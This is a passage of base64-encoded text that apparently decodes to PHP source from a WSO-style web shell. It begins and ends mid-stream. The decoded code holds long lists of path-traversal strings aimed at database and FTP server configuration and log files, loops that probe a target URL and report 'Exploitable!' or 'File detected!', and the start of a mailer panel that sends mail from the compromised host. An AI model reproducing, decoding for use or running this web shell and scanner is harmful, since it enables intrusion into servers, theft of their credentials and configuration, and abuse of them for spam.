FyL2xpYi9teXNxbC9teS5jbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbXlzcWwvbXkuY25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbGQubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9teS5jbmYiLiRieXRlMS4iIik7IA0KICAgICAgICAgDQogICAgICAgICAgJGxmaWZ0cCA9IGFycmF5KCANCiAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9sb2dyb3RhdGUuZC9wcm9mdHBkIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vd3d3L2xvZ3MvcHJvZnRwZC5zeXN0ZW0ubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9wcm9mdHBkIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Byb2Z0cC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Byb3RwZC9wcm9mdHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdmhjczIvcHJvZnRwZC9wcm9mdHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHJvZnRwZC9tb2R1bGVzLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3ZzZnRwZC5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdnNmdHBkLmNocm9vdF9saXN0Ii4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9sb2dyb3RhdGUuZC92c2Z0cGQubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy92c2Z0cGQvdnNmdHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZzZnRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9jaHJvb3RVc2VycyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3hmZXJsb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2FkbS9sb2cveGZlcmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvd3UtZnRwZC9mdHBhY2Nlc3MiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3d1LWZ0cGQvZnRwaG9zdHMiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3d1LWZ0cGQvZnRwdXNlcnMiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3NiaW4vcHVyZS1jb25maWcucGwiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL3NiaW4vcHVyZS1jb25maWcucGwiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmUtZnRwZC9wdXJlLWZ0cGQucGRiIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmVmdHBkLnBhc3N3ZCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmVmdHBkLnBkYiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcG9ydHMvZnRwL3B1cmUtZnRwZC8iLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL25ldC9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9wa2dzcmMvbmV0L3B1cmVmdHBkLyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDM1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcG9ydHMvY29udHJpYi9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvcHVyZS1mdHBkL3B1cmUtZnRwZC5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbG9ncy9wdXJlLWZ0cGQubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvcHVyZWZ0cGQubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZnRwLXByb3h5L2Z0cC1wcm94eS5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9mdHAtcHJveHkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0MSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9mdHBsb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0MiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2xvZ3JvdGF0ZS5kL2Z0cCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvZnRwY2hyb290Ii4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9mdHBob3N0cyIuJGJ5dGUxLiIiKTsgDQogICAgICAgICANCiAgDQogICAgICAgICAkeCA9IDE7IA0KICAgICAgICAgaWYgKCAkdHlwZSA9PSAxICkgeyANCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IA0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IA0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IA0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IA0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIiI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2hpbGUoJGxmaWFjY2Vzc1skeF0pIHsgDQogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlhY2Nlc3NbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IA0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaWFjY2Vzc1skeF0uIiI+Ii4kdGFyZ2V0LiIiLiRsZmlhY2Nlc3NbJHhdLiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaWFjY2Vzc1skeF0uIjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICR4Kys7IA0KICAgICAgfSANCiAgICAgIH0gDQogICAgICAgICB9IA0KICAgICAgICAgaWYgKCAkdHlwZSA9PSAyICkgeyANCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IA0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IA0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IA0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IA0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIiI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2hpbGUoJGxmaWNvbmZpZ1skeF0pIHsgDQogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmljb25maWdbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IA0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaWNvbmZpZ1skeF0uIiI+Ii4kdGFyZ2V0LiIiLiRsZmljb25maWdbJHhdLiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaWNvbmZpZ1skeF0uIjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICR4Kys7IA0KICAgICAgfSANCiAgICAgIH0gDQogICAgICAgICB9IA0KICAgICAgICAgaWYgKCAkdHlwZSA9PSAzICkgeyANCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IA0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IA0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IA0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IA0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIiI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2hpbGUoJGxmaWVycm9yWyR4XSkgeyANCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaWVycm9yWyR4XSk7IA0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyANCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj0iIi4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIiI+Ii4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpZXJyb3JbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIGlmICggJHR5cGUgPT0gNCApIHsgDQogICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyANCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyANCiAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOyANCiAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOyANCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj0iIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiIiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoaWxlKCRsZmlwaHBpbmlbJHhdKSB7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpcGhwaW5pWyR4XSk7IA0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyANCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj0iIi4kdGFyZ2V0LiIiLiRsZmlwaHBpbmlbJHhdLiIiPiIuJHRhcmdldC4iIi4kbGZpcGhwaW5pWyR4XS4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlwaHBpbmlbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIGlmICggJHR5cGUgPT0gNSApIHsgDQogICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyANCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyANCiAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOyANCiAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOyANCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj0iIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiIiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoaWxlKCRsZmlteXNxbFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlteXNxbFskeF0pOyANCiAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsgDQogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9IiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiIiPiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaW15c3FsWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICBpZiAoICR0eXBlID09IDYgKSB7IA0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgDQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgDQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgDQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgDQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9IiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aGlsZSgkbGZpZnRwWyR4XSkgeyANCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaWZ0cFskeF0pOyANCiAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsgDQogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9IiIuJHRhcmdldC4iIi4kbGZpZnRwWyR4XS4iIj4iLiR0YXJnZXQuIiIuJGxmaWZ0cFskeF0uIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpZnRwWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQppZiAoICR0eXBlID09IDcgKSB7IA0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgDQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgDQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgDQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgDQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9IiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+Ijt7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpcHJvY2Vudik7IA0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyANCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj0iIi4kdGFyZ2V0LiIiLiRsZmlwcm9jZW52LiIiPiIuJHRhcmdldC4iIi4kbGZpcHJvY2Vudi4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlwcm9jZW52LiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgIH0gDQp3c29Gb290ZXIoKTsgDQp9IA0KZnVuY3Rpb24gYWN0aW9ucGhwdG9vbHMoKSB7IA0Kd3NvSGVhZGVyKCk7IA0KPz48Y2VudGVyPjw/cGhwIA0KLy9tYWlsZXIgDQplY2hvICc8Yj5NYWlsZXI8L2I+PGJyPiANCjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9UE9TVD4gDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0icGhwdG9vbHMiPiANCjxpbnB1dCB0eXBlPXRleHQgbmFtZT10byB2YWx1ZT10bz48YnI+IA0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPWZyb20gdmFsdWU9ZnJvbT48YnI+IA0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1YmplY3QgdmFsdWU9c3ViamVjdD48YnI+IA0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPWJvZHkgdmFsdWU9Ym9keT48YnI+IA0KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVN1Ym1pdD48L2Zvcm0+JzsgDQppZiAoaXNzZXQoJF9QT1NUWyd0byddKSAmJiBpc3NldCgkX1BPU1RbJ2Zyb20nXSkgJiYgaXNzZXQoJF9QT1NUWydzdWJqZWN0J10pICYmIGlzc2V0KCRfUE9TVFsnYm9keSddKSkgeyANCiAgICAkaGVhZGVycyA9ICdGcm9tOiAnLiRfUE9TVF